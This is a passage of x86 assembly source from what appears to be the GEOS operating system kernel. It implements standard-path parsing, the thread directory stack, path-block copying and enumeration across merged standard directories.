SP_POWER_DRIVERS ; | +- SP_HWR ; | +- SP_PAGER_DRIVERS ; | +- SP_COMPONENT (NewBASIC) ; +- SP_PRIVATE_DATA ; | +- SP_STATE ; | +- SP_SPOOL ; | +- SP_WASTE_BASKET ; +- SP_USER_DATA ; | +- SP_FONT ; | +- SP_HELP_FILES ; | +- SP_TEMPLATE ; | +- SP_BACKUP ; +- SP_DOS_ROOM ; ; ---+- SP_DOCUMENT ; alteredStdPathTree StdPathNode \ <0, SP_APPLICATION>, ;top <SP_SYSTEM, 0>, ;world <0, 0>, ;document <SP_PRIVATE_DATA, SP_SYS_APPLICATION>, ;system <SP_USER_DATA, SP_STATE>, ;privdata <SP_SPOOL, 0>, ;state <SP_HELP_FILES, 0>, ;font <SP_WASTE_BASKET, 0>, ;spool <SP_MOUSE_DRIVERS, 0>, ;sysappl <SP_DOS_ROOM, SP_FONT>, ;userdata <SP_PRINTER_DRIVERS, 0>, ;mouse <SP_FILE_SYSTEM_DRIVERS, 0>, ;printer <SP_VIDEO_DRIVERS, 0>, ;fs <SP_SWAP_DRIVERS, 0>, ;video <SP_KEYBOARD_DRIVERS, 0>, ;swap <SP_FONT_DRIVERS, 0>, ;kbd <SP_IMPORT_EXPORT_DRIVERS, 0>, ;fontDr <SP_TASK_SWITCH_DRIVERS, 0>, ;impex <SP_POWER_DRIVERS, 0>, ;task <SP_TEMPLATE, 0>, ;help <SP_BACKUP, 0>, ;template <SP_HWR, 0>, ;power <0, 0>, ;dosroom <SP_PAGER_DRIVERS, 0>, ;hwr <0, 0>, ;wastebasket <0, 0>, ;backup <SP_COMPONENT, 0>, ;pager <0, 0> ;component (NewBASIC) .assert (length stdPathTree eq (StandardPath/2)) .assert (length alteredStdPathTree eq (StandardPath/2)) CheckHack <SP_NOT_STANDARD_PATH eq 0> if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileParseStandardPath proc far uses cx, es .enter ; ; Because this routine is supposed to return a pointer into ; the passed string, we need to save the original offsets ; of the passed in string and the copied string, determine ; how much the pointer changes in the returned value, and ; add that change to the passed in pointer. push di ; save original offset clr cx ; null terminated... call SysCopyToStackESDI ; es:di <- copy string push di ; save copied offset call FileParseStandardPathReal ; di <- new new offset tst ax jnz found call FileParseMergedStandardPathReal found: pop cx ; cx <- copied offset sub di, cx ; di <- change in copied offsets pop cx ; cx <- original offset add di, cx ; di <- correct offset for ; original string call SysRemoveFromStack .leave ret FileParseStandardPath endp CopyStackCodeXIP ends else FileParseStandardPath proc far call FileParseStandardPathReal tst ax jnz found call FileParseMergedStandardPathReal found: ret FileParseStandardPath endp endif FileParseStandardPathReal proc far uses bx, cx, dx, si, ds, bp .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, esdi > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif push bx ; passed disk handle mov bx, handle StandardPathStrings call FP_MemLockDS ; lock it once at the very beginning ; so we needn't keep locking and ; unlocking it. pop bx ; ; See if we're passed a standard path ; test bx, DISK_IS_STD_PATH_MASK jnz givenStdPath ; ; Set up registers for loop ; mov bp, SP_NOT_STANDARD_PATH ; final verdict ; compare to KLV_topLevelPath. If BX was passed in as zero, ; then assume es:di is an absolute path, and start at the top. call FP_LoadVarSegDS mov si, offset loaderVars.KLV_topLevelPath tst bx jz startAtTop ; ; If BX is the disk handle on which the top-level directory ; resides, then start at SP_TOP as well. Otherwise, ; LocalNextChar dssi LocalNextChar dssi ; skip drive specifier in topLevelPath cmp bx, ds:[topLevelDiskHandle] jne searchComplete startAtTop: ; ; Start parsing at SP_TOP. DS:SI is the top-level directory name. ; mov bx, SP_TOP jmp enterNodeLoopWithString givenStdPath: ; passed disk handle is a std path, so start the quest from its ; first child. mov bp, bx ; bp <- current verdict LocalLoadChar ax, C_BACKSLASH SBCS < scasb ; passed path "absolute"? > DBCS < scasw ; passed path "absolute"? > je nodeLoop ; yes -- ignore leading backslash LocalPrevChar esdi ; no -- back up to start again nodeLoop: ; get first child mov bx, bp ; std path call FileGetStdPathFirstChild tst bx jz searchComplete ;no children -- done siblingLoop: push bx mov bx, handle StandardPathStrings call MemDerefDS pop bx ; ; For each of the current child and its siblings, see if its ; name matches the current component of the target pathname ; mov si, bx ; si <- child's SP constant call FileGetStdPathName ; ds:si - std path name enterNodeLoopWithString: mov dx, di ; dx = start of string cmpLoop: LocalGetChar ax, dssi LocalIsNull ax jz endOfString SBCS < scasb > DBCS < scasw > je cmpLoop jmp noMatch endOfString: LocalGetChar ax, esdi, NO_ADVANCE LocalIsNull ax jz matchFoundAtEnd LocalCmpChar ax, C_BACKSLASH jne noMatch ; match found -- move down the tree LocalNextChar esdi ;es:di must point after \ . mov bp, bx ; last s.p. matched <- s.p. just matched jmp nodeLoop ; match found and we're at the end of the string matchFoundAtEnd: mov bp, bx jmp searchComplete ; no string match, try next sibling noMatch: mov di, dx ; restore target string call FileGetStdPathNextSibling tst bx jnz siblingLoop searchComplete: mov bx, handle StandardPathStrings call MemUnlock mov_tr ax, bp ; StandardPath .leave ret FileParseStandardPathReal endp FileParseMergedStandardPathReal proc far uses bx, cx, dx, si, ds, bp .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, esdi > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif push bx ; passed disk handle mov bx, handle StandardPathStrings call FP_MemLockDS ; lock it once at the very beginning ; so we needn't keep locking and ; unlocking it. pop bx ; ; See if we're passed a standard path ; test bx, DISK_IS_STD_PATH_MASK jnz givenStdPath ; ; Set up registers for loop ; mov bp, SP_NOT_STANDARD_PATH ; final verdict ; compare to KLV_topLevelPath. If BX was passed in as zero, ; then assume es:di is an absolute path, and start at the top. call FP_LoadVarSegDS tst ds:[loaderVars].KLV_stdDirPaths jz searchComplete push bx mov bx, ds:[loaderVars].KLV_stdDirPaths call MemLockShared pop bx mov ds, ax clr si lodsw cmp ax, ds:[si] je searchComplete mov si, ax tst bx jz startAtTop ; ; If BX is the disk handle on which the top-level directory ; resides, then start at SP_TOP as well. Otherwise, ; LocalNextChar dssi LocalNextChar dssi ; skip drive specifier in topLevelPath push ds call FP_LoadVarSegDS cmp bx, ds:[topLevelDiskHandle] pop ds jne searchComplete startAtTop: ; ; Start parsing at SP_TOP. DS:SI is the top-level directory name. ; mov bx, SP_TOP jmp enterNodeLoopWithString givenStdPath: ; passed disk handle is a std path, so start the quest from its ; first child. mov bp, bx ; bp <- current verdict LocalLoadChar ax, C_BACKSLASH SBCS < scasb ; passed path "absolute"? > DBCS < scasw ; passed path "absolute"? > je nodeLoop ; yes -- ignore leading backslash LocalPrevChar esdi ; no -- back up to start again nodeLoop: ; get first child mov bx, bp ; std path call FileGetStdPathFirstChild tst bx jz searchComplete ;no children -- done siblingLoop: push bx mov bx, handle StandardPathStrings call MemDerefDS pop bx ; ; For each of the current child and its siblings, see if its ; name matches the current component of the target pathname ; mov si, bx ; si <- child's SP constant call FileGetStdPathName ; ds:si - std path name enterNodeLoopWithString: mov dx, di ; dx = start of string cmpLoop: LocalGetChar ax, dssi LocalIsNull ax jz endOfString SBCS < scasb > DBCS < scasw > je cmpLoop jmp noMatch endOfString: LocalGetChar ax, esdi, NO_ADVANCE LocalIsNull ax jz matchFoundAtEnd LocalCmpChar ax, C_BACKSLASH jne noMatch ; match found -- move down the tree LocalNextChar esdi ;es:di must point after \ . mov bp, bx ; last s.p. matched <- s.p. just matched jmp nodeLoop ; match found and we're at the end of the string matchFoundAtEnd: mov bp, bx jmp searchComplete ; no string match, try next sibling noMatch: mov di, dx ; restore target string call FileGetStdPathNextSibling tst bx jnz siblingLoop searchComplete: call FP_LoadVarSegDS mov bx, ds:[loaderVars].KLV_stdDirPaths tst bx jz noPaths call MemUnlockShared noPaths: mov bx, handle StandardPathStrings call MemUnlock mov_tr ax, bp ; StandardPath .leave ret FileParseMergedStandardPathReal endp COMMENT @---------------------------------------------------------------------- FUNCTION: FileStdPathCheckIfSubDir DESCRIPTION: Checks if a StandardPath constant (bx)is a subdirectory of another StandardPath constant (bp). CALLED BY: GLOBAL PASS: bp = potential parent directory (StandardPath) bx = potential subdirectory (StandardPath) RETURN: ax = 0 if bx is a subdir of bp ax = non-zero is bx is not a subdir of bp DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dlitwin 5/21/92 Initial version ------------------------------------------------------------------------------@ FileStdPathCheckIfSubDir proc far uses bx .enter clr ax cmp bp, SP_NOT_STANDARD_PATH je failedSubDirTest cmp bx, SP_NOT_STANDARD_PATH je failedSubDirTest EC < test bp, DISK_IS_STD_PATH_MASK > EC < ERROR_Z STANDARD_PATH_EXPECTED > EC < test bx, DISK_IS_STD_PATH_MASK > EC < ERROR_Z STANDARD_PATH_EXPECTED > ; start from bx and look upward for bp subDirLoop: call FileGetStdPathParent tst bx jz failedSubDirTest cmp bx, bp jne subDirLoop ; passed if get to here jmp done failedSubDirTest: dec ax ; ax is nonzero done: .leave ret FileStdPathCheckIfSubDir endp COMMENT @---------------------------------------------------------------------- FUNCTION: StdPathPointAtNthChild DESCRIPTION: Find the Nth child of a standard path CALLED BY: FEEnumSpecials PASS: StandardPathStrings resource locked si - StandardPath cx - child # to find RETURN: carry - set if child does not exist ds:si - pointing at Nth child DESTROYED: cx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version CDB 9/11/92 changed to use stdpath access routines ------------------------------------------------------------------------------@ StdPathPointAtNthChild proc far uses bx .enter mov bx, si call FileGetStdPathFirstChild inc cx ; ensure 1-origin jmp endLoop childLoop: call FileGetStdPathNextSibling ; bl <- stdPath endLoop: tst bl loopne childLoop jz noChild gotChild:: mov si, bx ; si <- std path call FileGetStdPathName ; ds:si - name of std path clc done: .leave ret noChild: stc jmp done StdPathPointAtNthChild endp COMMENT @---------------------------------------------------------------------- FUNCTION: FilePushDir DESCRIPTION: Push the current directory onto the thread's directory stack. The current directory isn't changed, but this allows FileSetCurrentPath to be called with impunity, as the previous directory can be recovered by executing a FilePopDir CALLED BY: GLOBAL PASS: none RETURN: none DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: Duplicate the current path block and link the new one into the stack *after* the current one so FSD's can continue to optimize any directory stuff based on the thread's path handle. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/89 Initial version Cheng 2/90 Added disk handle support ------------------------------------------------------------------------------@ FILEPUSHDIR proc far uses bx, si, ds, ax .enter mov bx, ss:[TPD_curPath] ; Fetch current path mov si, bx ; preserve original call FileCopyPath ; Forcibly duplicate it xchg bx, si ; bx <- current path, si <- new block call FP_PathLockDS ; Lock current path down mov ax, si xchg ds:[FP_prev], ax ; Link the new block behind it call FileUnlockPath mov bx, si ; bx <- new block call FP_PathLockDS mov ds:[FP_prev], ax ; link new block to block previously ; behind current block call FileUnlockPath .leave ret FILEPUSHDIR endp COMMENT @---------------------------------------------------------------------- FUNCTION: FilePopDir DESCRIPTION: Pop a directory from the thread's directory stack CALLED BY: GLOBAL PASS: none RETURN: none DESTROYED: none (flags preserved) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 3/89 Initial version Cheng 2/90 Added disk handle support ------------------------------------------------------------------------------@ FILEPOPDIR proc far uses bx, si, ds .enter pushf call FP_CurPathLockDS mov si, ds:[FP_prev] EC < tst si > EC < ERROR_Z DIRECTORY_STACK_EMPTY > call FileDeletePath ; Nuke the current path mov ss:[TPD_curPath], si ; Set the previous path as the thread's ; new path popf .leave ret FILEPOPDIR endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileSetStandardPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: change to one of the standard system directories CALLED BY: GLOBAL PASS: ax - directory to change to, StandardPath enum or disk handle RETURN: if FLOPPY_BASED_DOCUMENTS if error: carry set ax - FileError else carry clear else nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 01/04/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileSetStandardPath proc far uses bx, dx, ds .enter push ax ; don't destroy AX if no error segmov ds, cs mov dx, offset rootString mov_tr bx, ax call FileSetCurrentPath if FLOPPY_BASED_DOCUMENTS pop bx jc done mov_tr ax, bx done: else pop ax EC < ERROR_C SET_PATH_ERROR > endif .leave ret FileSetStandardPath endp LocalDefNLString rootString <C_BACKSLASH, 0> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileAllocPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Allocate and initialize a new FilePath block CALLED BY: FileCopyPath PASS: nothing RETURN: bx = handle of uninitialized new path DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/19/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileAllocPath proc near uses ax, cx .enter ; ; Allocate the new block swapable, and non-discardable. ; mov ax, size FilePath+1 mov cx, (HAF_STANDARD_NO_ERR shl 8) \ or mask HF_SHARABLE or mask HF_SWAPABLE mov bx, handle 0 ; path blocks are all owned by the ; kernel call MemAllocSetOwnerFar .leave ret FileAllocPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileCopyPath %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Make a copy of a path block CALLED BY: FilePushDir, CreateThreadCommon PASS: bx = path to duplicate RETURN: bx = new path block DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/19/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileCopyPath proc far uses ds, es, ax, di, cx, si .enter ; ; Allocate a new path block ; mov si, bx call FileAllocPath ; ; Copy the disk handle from the old to the new block ; call FP_LoadVarSegDS mov ax, ds:[si].HM_otherInfo mov ds:[bx].HM_otherInfo, ax push ax ; save disk handle for possible ; notification ; ; Enlarge the new thing to be the same size as the old. ; mov ax, MGIT_SIZE xchg bx, si ; bx <- old path, si <- new path call MemGetInfo ; ax <- # bytes xchg bx, si ; bx <- new path, si <- old path push ax mov cx, mask HAF_LOCK shl 8 call MemReAlloc ; ax <- segment of block pop cx ; cx <- # of bytes to copy ; ; Lock down both and copy the whole block. ; mov es, ax push bx mov bx, si call FP_PathLockDS clr si mov di, si rep movsb ; ; Don't have the new path point into the path stack...even though ; it would be useful for FilePushDir for us to leave this, ; ThreadCreate would get unhappy (and it's not supposed to look inside ; a path block...) ; mov es:[FP_prev], 0 ; ; Unlock both the blocks, leaving bx being the new path ; call FileUnlockPath mov cx, bx ; cx <- old block pop bx call FileUnlockPath ; ; If path is on a real disk, we need to notify the driver that the ; thing's been duplicated. ; pop si test si, DISK_IS_STD_PATH_MASK jnz done EC < mov ax, NULL_SEGMENT; avoid ec +segment > EC < mov es, ax ; death from use of > EC < mov ds, ax ; FileUnlockPath > mov di, DR_FS_CUR_PATH_COPY push bp call DiskCallFSD pop bp done: .leave ret FileCopyPath endp COMMENT @----------------------------------------------------------------------- FUNCTION: SetCurPathUsingStdPath DESCRIPTION: Set the thread's current directory to the passed standard path. CALLED BY: SetCurPath PASS: ds:dx = path tail under standard path bx = standard path below which to find the tail RETURN: carry - set if error ax = ERROR_PATH_NOT_FOUND = ERROR_DISK_UNAVAILABLE = ERROR_DISK_STALE carry clear if path set successfully: ax = destroyed bx = actual standard path that was set DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: PATH TAIL is all that's stored in the logical path in the path block. REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/88 Initial version ardeb 8/6/91 Changed for 2.0 -------------------------------------------------------------------------------@ SetCurPathUsingStdPath proc near uses cx, si, di, es, bx stdPath local StandardPath push bx tailLength local word dirPathInfo local word .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif ; ; Use the internal Int_SetDirOnPath routine to first switch the thread ; to the initial existing directory for the standard path. ; ; CX <- the standard path being set, while AX <- DirPathInfo sufficient ; to start enumerating things from the first path for the std path ; being set. DS:DX <- tail below std path ; mov cx, bx ; cx <- std path CheckHack <offset DPI_STD_PATH eq 0 AND width DPI_STD_PATH eq 8> mov al, cl ; set DPI_STD_PATH mov ah, high DirPathInfo <1,0,0> call Int_SetDirOnPath jc noExistee ; => none exists, so std path doesn't exist recordPath: mov ss:[dirPathInfo], ax mov bx, ss:[TPD_curPath] call FSDInformOldFSDOfPathNukage ; ; Reallocate the path block large enough to hold the private ; data (flags & path tail) ; segmov es, ds mov di, dx SBCS < clr al > DBCS < clr ax > mov cx, -1 LocalFindChar ;repne scasb/scasw not cx ; length of tail mov ss:[tailLength], cx mov_tr ax, cx DBCS < shl ax ; ax <- size > add ax, size FilePath + size StdPathPrivateData clr ch call MemReAlloc mov ax, ERROR_INSUFFICIENT_MEMORY jc done call FileLockPath mov es, ax ; ; Store the std path constant and the dirPathInfo, setting the ; DPI_EXISTS_LOCALLY flag so that the first path won't be ; skipped by the next enumeration. ; mov ax, ss:[stdPath] mov es:[FP_stdPath], ax mov ax, ss:[dirPathInfo] ornf ax, mask DPI_EXISTS_LOCALLY mov es:[FP_pathInfo], ax mov ax, ss:[tailLength] DBCS < shl ax ; ax <- size > add ax, size StdPathPrivateData + size FilePath mov es:[FP_path], ax ; ; Store the fixed-size portion ; mov di, offset FP_private mov cx, size StdPathPrivateData clr al rep stosb ; ; Store the path tail ; mov si, dx mov cx, ss:[tailLength] LocalCopyNString ;rep movsb/movsw call FileUnlockPath done: .leave ret noExistee: mov bx, ss:[stdPath] call StdPathDoesntExist jc done jmp recordPath SetCurPathUsingStdPath endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetCurPathUsingStdPathWhenStdPathsNotEnabled %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: The current path is within a standard paths, but no directory-merging has been specified in the ini file. We still have to do a couple special things, however, for consistency's sake: create the thing if it doesn't exist, and make sure FileGetCurrentPath will return a StandardPath constant. CALLED BY: SetCurPath PASS: bx = StandardPath ds:dx = path tail under standard path RETURN: carry set if path doesn't exist on the disk ax = ERROR_PATH_NOT_FOUND = ERROR_DISK_UNAVAILABLE = ERROR_DISK_STALE carry clear if path set successfully ax = destroyed bx = actual disk handle that was finally set DESTROYED: ax PSEUDO CODE/STRATEGY: The buffer for the pathname is allocated on the global heap, rather than the stack, so that we can avoid stack overflow when recursively traversing links. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 6/ 7/92 Initial version CDB 8/18/92 Modified to work with links %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetCurPathUsingStdPathWhenStdPathsNotEnabled proc near uses ds, es, si, di, cx, dx stdPath local StandardPath push bx pathTail local fptr push ds, dx bufferHandle local hptr .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif tryAgain: ; ; Construct the full path, and set it as the current path. ; push bx call FileAllocPathNameBuffer ; es:di - buffer mov ss:[bufferHandle], bx pop bx jc done push di mov si, dx ; ds:si <- tail clr dx ; no drive spec, please call FileConstructFullPath pop dx segmov ds, es ; ds:dx - buffer call SetCurPath ; bx <- actual disk handle ; ; Free the buffer, w/o munging flags or trashing the disk ; handle in BX ; push bx pushf mov bx, ss:[bufferHandle] call MemFree popf pop bx ; std path ; ; If there was an error setting the path, try to create it... ; jc maybeCreate ; ; Now lock down the path block and set its FP_stdPath ; and FP_pathInfo variables to indicate the standard path that we ; know the thread is in. ; mov si, ss:[TPD_curPath] xchg bx, si ; bx <- path block, ; si <- disk handle call FP_PathLockDS mov ax, ss:[stdPath] mov ds:[FP_stdPath], ax ; save std path ornf ax, DirPathInfo <1,0,0> ; set FP_pathInfo to hold the ; path with DPI_EXISTS_LOCALLY ; set mov ds:[FP_pathInfo], ax call MemUnlock mov bx, si ; return std path to ; caller. done: .leave ret maybeCreate: lds dx, ss:[pathTail] mov bx, ss:[stdPath] call StdPathDoesntExist jc done jmp tryAgain SetCurPathUsingStdPathWhenStdPathsNotEnabled endp COMMENT @---------------------------------------------------------------------- FUNCTION: InitForPathEnum DESCRIPTION: Initialize variables for enumerating paths CALLED BY: FileOpen, FileEnum PASS: bx = std path for operation, if any cx = non-zero if ds:dx is path on which caller will be operating ds:dx = path on which caller will be operating, if cx non-zero RETURN: carry - set if error (don't call FinishWithPathEnum) ds:dx = possibly modified to point to a different point in the path DESTROYED: cx REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource InitForPathEnum proc far .enter jcxz noCopy mov ss:[TPD_dataBX], handle InitForPathEnumReal mov ss:[TPD_dataAX], offset InitForPathEnumReal call SysCallMovableXIPWithDSDX done: .leave ret noCopy: call InitForPathEnumReal jmp short done InitForPathEnum endp CopyStackCodeXIP ends else InitForPathEnum proc far FALL_THRU InitForPathEnumReal InitForPathEnum endp endif InitForPathEnumReal proc far uses ax, bx, ds .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif ; ; If the caller has given us a path under the standard path, see if ; it has any leading components. If it does, we need to be sure to be ; actually *in* the passed standard path, not just under it, else ; the caller won't be able to get to the file. ; ; The end result of this is cx is non-zero if the current directory ; must have an empty tail. ; ; 10/26/92: just see if the tail is absolute, rather than looking ; through the whole tail for a backslash, as that hoses things like ; FileGetAttributes("abc\def") while within SP_DOCUMENT:\foo ; -- ardeb ; jcxz checkedTail push di mov di, dx clr cx SBCS < cmp {char}ds:[di], C_BACKSLASH > DBCS < cmp {wchar}ds:[di], C_BACKSLASH > pop di jne checkedTail dec cx ; empty tail needed LocalNextChar dsdx ; need to have this be relative for ; when passed to the IFS driver for ; each directory in the standard path, ; or it thinks the thing is absolute checkedTail: ; if no path block then bail call FP_LoadVarSegDS mov ax, ERROR_PATH_NOT_FOUND tst ds:[loaderVars].KLV_stdDirPaths stc jz done EC < test bx, DISK_IS_STD_PATH_MASK ; standard path? > EC < ERROR_Z INIT_FOR_PATH_ENUM_CALLED_FOR_NON_STANDARD_PATH > ; ; Always push at least once, as we'll need to play games with the ; whole beast. ; call FilePushDir ; ; See if the destination is the same as the current std path. If so, ; then one push is enough. ; mov_tr ax, bx ; save passed std path ; ; We need to check both the Actual disk handle (stored in the ; path's HM_otherInfo field), and make sure that the current ; directory has no path tail. ; mov bx, ss:[TPD_curPath] cmp ds:[bx].HM_otherInfo, ax jne switch ; ; If we must, make sure there's a null path tail in the current ; directory (check for a null character) ; jcxz done ; => don't have to be *in* std path, ; just under it call FP_PathLockDS push di mov di, ds:[FP_path] SBCS < tst {byte}ds:[di] > DBCS < tst {wchar}ds:[di] > pop di call MemUnlock jz done switch: ; ; Not the same, so switch to the passed one... ; call FileSetStandardPath ; ; Mark the path as needing to be biffed when popped to ; call FP_PathLockDS mov ({StdPathPrivateData} ds:[FP_private]).SPPD_flags, \ mask SPF_NUKE_ME call MemUnlock ; ; And push again, so we can play with this thing instead. ; call FilePushDir clc done: .leave ret InitForPathEnumReal endp COMMENT @---------------------------------------------------------------------- FUNCTION: SetDirOnPath DESCRIPTION: Set the physical current path to be the next directory on the path for the logical path. InitForPathEnum must have been called before this. CALLED BY: FileOpen, FileEnum PASS: In curPath: FP_pathInfo.DPI_STD_PATH - current std path we're enuming (moves up tree) FP_pathInfo.DPI_ENTRY_NUMBER_IN_PATH - entry on DPI_STD_PATH that we last looked at RETURN: ax - DirPathInfo bx - disk handle carry - set if error (no more paths) FP_pathInfo - updated thread's current path - set DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: Use Int_SetDirOnPath to find the next physical directory for this std path. If Int_SetDirOnPath returned a standard path constant, then we've hit a link, and need to enumerate further. To do this, create 2 new path blocks -- using the path tail stored in the private data after the link directory is set -- and set the "nested" flag in the first of these blocks, so FinishWithPathEnum will nuke the proper number of blocks. For example: the link "link1" in SP_DOCUMENT is a link to the directory (SP_SYSTEM, foo). Int_SetDirOnPath will find the first directory called (SP_SYSTEM, foo), change to that directory, and return SP_SYSTEM to us. The path block at this point has "foo" as the path tail in the private data. We create a new path block -- this will be our new "master" path block, and we set the current path to (SP_SYSTEM, foo), using the private data described above. We set the NESTED flag in this block, so FinishWithPathEnum will know to nuke it. We then create a new path block via FilePushDir, so that we now have a new "working" block. When the nested enumeration is done, then we also have some code to go and nuke the nested path blocks, if they exist. KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ardeb 8/8/91 changed for 2.0 FSDs CDB 8/17/92 changed for links ------------------------------------------------------------------------------@ SetDirOnPath proc far uses bx, cx, dx, si, ds, di .enter ; Initialize the link recursion counter, since SetCurPath ; expects it to be set up that way. ; inc ss:[TPD_stackBot] mov di, ss:[TPD_stackBot] mov {byte} ss:[di].CP_linkCount, 0 mov di, 500 call ThreadBorrowStackSpace push di ; ; Fetch the current state of the enumeration from the current path, ; along with the handle of the path block that holds the initial ; path tail for us to use. ; call FP_CurPathLockDS mov ax, ds:[FP_pathInfo] mov dx, ds:[FP_prev] EC < tst dx > EC < ERROR_Z INIT_FOR_PATH_ENUM_NOT_CALLED_YET > call FileUnlockPath ; done with current, for now... ; ; Lock down the original path block from which we pushed in ; InitForPathEnum so we can get the actual path tail. We also need ; to load the FP_stdPath from the previous block, as it will have been ; overwritten in the current path with SP_NOT_STANDARD_PATH by the ; FSD. ; mov bx, dx ; bx <- original std path block call FP_PathLockDS lea dx, ({StdPathPrivateData} ds:[FP_private]).SPPD_stdPathTail mov cx, ds:[FP_stdPath] ; ; Use that and the state from the current path to set the next ; current directory for this here thread. ; push bx ; save path block handle call Int_SetDirOnPath ;bx = disk handle (if success) mov dx, bx ; save disk handle pop bx call FileUnlockPath jc error ; if error, don't alter current path ; ; New directory successfully set, so update the enumeration information ; in the current path ; call FP_CurPathLockDS mov ds:[FP_pathInfo], ax call FileUnlockPath ; ; If Int_SetDirOnPath returned us a standard path, then go into ; a nested path enumeration. ; test dx, DISK_IS_STD_PATH_MASK jnz stdPath ; ; Otherwise store the disk handle ; call FP_LoadVarSegDS mov ds:[bx].HM_otherInfo, dx ;save disk handle done: dec ss:[TPD_stackBot] pop di call ThreadReturnStackSpace .leave ret stdPath: ; ; Int_SetDirOnPath returned us a link to a standard path, so ; we have to start another enumeration. Take the current std ; path, and tail (stored in the private data of the current ; path), and create 2 new paths: ; ; dx - standard path ; ; Call FilePushDir BEFORE accessing the standard path tail of ; the previous path, since FilePushDir actually ; places the CURRENT path block at the top of the stack ; call FilePushDir call FP_PrevPathLockDS push bx, dx mov bx, dx ; standard path mov dx, offset ({StdPathPrivateData}ds:[FP_private]).SPPD_stdPathTail ; ; Allow for bizarre path tails, such as those containing ".." ; as their first component. Since BX is a standard path, we ; call SetCurPath rather than FileSetCurrentPath. This avoids ; calling FileConstructFullPath, which would give us a path ; that didn't have a StandardPath as its disk handle. ; What a nightmare... ; call SetCurPath pop bx, dx call FileUnlockPath jc unableToSetPath ; ; Set the "Nested" flag, so we'll nuke it when we're done: ; call FP_CurPathLockDS ornf ({StdPathPrivateData} ds:[FP_private]).SPPD_flags, \ mask SPF_NESTED call FileUnlockPath ; ; Now, create another path block, that will be our working ; version: ; call FilePushDir ; ; Set the enumeration constant to the new standard ; path that the link returned to us, and set the ; DPI_EXISTS_LOCALLY flag, so we'll start enumeration at the ; beginning. ; call FP_CurPathLockDS ornf dx, mask 